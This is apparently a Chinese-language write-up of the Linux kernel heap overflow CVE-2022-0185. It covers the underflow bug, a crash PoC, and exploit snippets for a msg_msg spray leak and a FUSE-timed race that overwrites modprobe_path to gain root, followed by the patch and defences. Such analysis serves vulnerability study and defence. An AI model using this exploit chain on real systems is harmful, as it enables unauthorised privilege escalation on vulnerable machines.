CVE-2022-0185 linux kernel利用FUSE技术稳定race
字数 1201 2025-08-29 08:31:53
CVE-2022-0185 Linux内核漏洞分析与利用技术详解
漏洞概述
CVE-2022-0185是Linux内核中的一个堆溢出漏洞,存在于文件系统上下文(fs_context)的legacy_parse_param函数中。该漏洞允许攻击者通过精心构造的fsconfig系统调用参数实现内核堆溢出,结合FUSE(用户空间文件系统)技术可以实现稳定的竞争条件利用,最终获得root权限。
技术背景
FUSE技术简介
FUSE(用户空间文件系统)是一种允许非特权用户在用户空间实现文件系统的技术。关键特点包括:
- 通过VFS层将文件系统操作回调到用户空间
- 使用fuse_operations结构体定义各种文件操作的回调函数
- 需要root权限挂载,但之后可由普通用户操作
struct fuse_operations {
int (*getattr) (const char *, struct stat *);
int (*readlink) (const char *, char *, size_t);
// ...其他文件操作回调函数
};
漏洞相关系统调用
漏洞涉及两个关键系统调用:
fsopen()- 打开文件系统上下文fsconfig()- 配置文件系统上下文参数
漏洞分析
漏洞代码
漏洞位于fs/fs_context.c文件的legacy_parse_param函数中:
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
// ...
if (len > PAGE_SIZE - 2 - size) // 漏洞点:整数下溢
return invalf(fc, "VFS: Legacy: Cumulative options too large");
// ...
memcpy(ctx->legacy_data + size, param->string, param->size); // 越界写
}
漏洞原理
size是无符号整数,当size > PAGE_SIZE - 2时,PAGE_SIZE - 2 - size会下溢变为极大值- 绕过长度检查后,
memcpy可以越界写入内核堆 - 通过反复调用
fsconfig可以不断扩大越界写入的范围
POC验证
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void)
{
char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = fsopen("ext4", 0);
for (int i = 0; i < 5000; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
}
return 0;
}
利用技术
信息泄露(Leak)
利用msg_msg结构实现内核地址泄露:
- 喷射多个
msg_msg结构,使其位于漏洞分配的堆块附近 - 通过越界写修改
msg_msg的m_ts字段扩大消息大小 - 读取被修改的消息获取内核数据
关键代码:
uint64_t do_leak() {
// 喷射msg_msg
for (int i = 0; i < 8; i++) {
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}
// 触发漏洞修改msg_msg大小
for (int i = 0; i < 117; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// 读取泄露的数据
for (int j = 0; j < 0x10; j++) {
get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
kbase = do_check_leak(recieved);
}
}
任意地址写
结合FUSE技术实现稳定的任意地址写:
- 使用FUSE映射内存区域
- 创建竞争线程触发漏洞修改
msg_msg的next指针 - 通过FUSE的read回调函数实现可控写入
void *arb_write(void *args)
{
uint64_t goal = modprobe_path - 8;
char evil[0x20];
memcpy(evil, (void *)&goal, 8);
// 触发漏洞修改msg_msg的next指针
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
write(fuse_pipes[1], "A", 1); // 同步信号
}
int evil_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
// 将modprobe_path修改为可控路径
memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));
// 等待arb_write线程完成漏洞利用
read(fuse_pipes[0], &signal, 1);
return size;
}
完整利用步骤
- 打开ext4文件系统上下文(
fsopen) - 喷射
msg_msg结构布置堆布局 - 触发漏洞泄露内核地址
- 计算
modprobe_path地址 - 设置FUSE文件系统和管道用于同步
- 创建竞争线程触发任意地址写
- 修改
modprobe_path指向恶意脚本 - 触发执行恶意脚本获取root权限
补丁分析
修复补丁修改了长度检查逻辑:
- if (len > PAGE_SIZE - 2 - size)
+ if (size + len + 2 > PAGE_SIZE)
新检查直接计算总长度,避免了整数下溢问题。
防御建议
- 及时更新内核版本
- 限制非特权用户使用FUSE
- 启用内核堆保护机制如SLAB_HARDENED
- 监控异常的系统调用序列
总结
CVE-2022-0185展示了内核文件系统子系统中的复杂漏洞利用技术,结合了:
- 整数溢出绕过检查
- 堆布局控制
- 竞争条件利用
- FUSE技术实现稳定利用
这种高级利用技术对内核安全防护提出了新的挑战,需要从代码审计、运行时防护等多方面加强防御。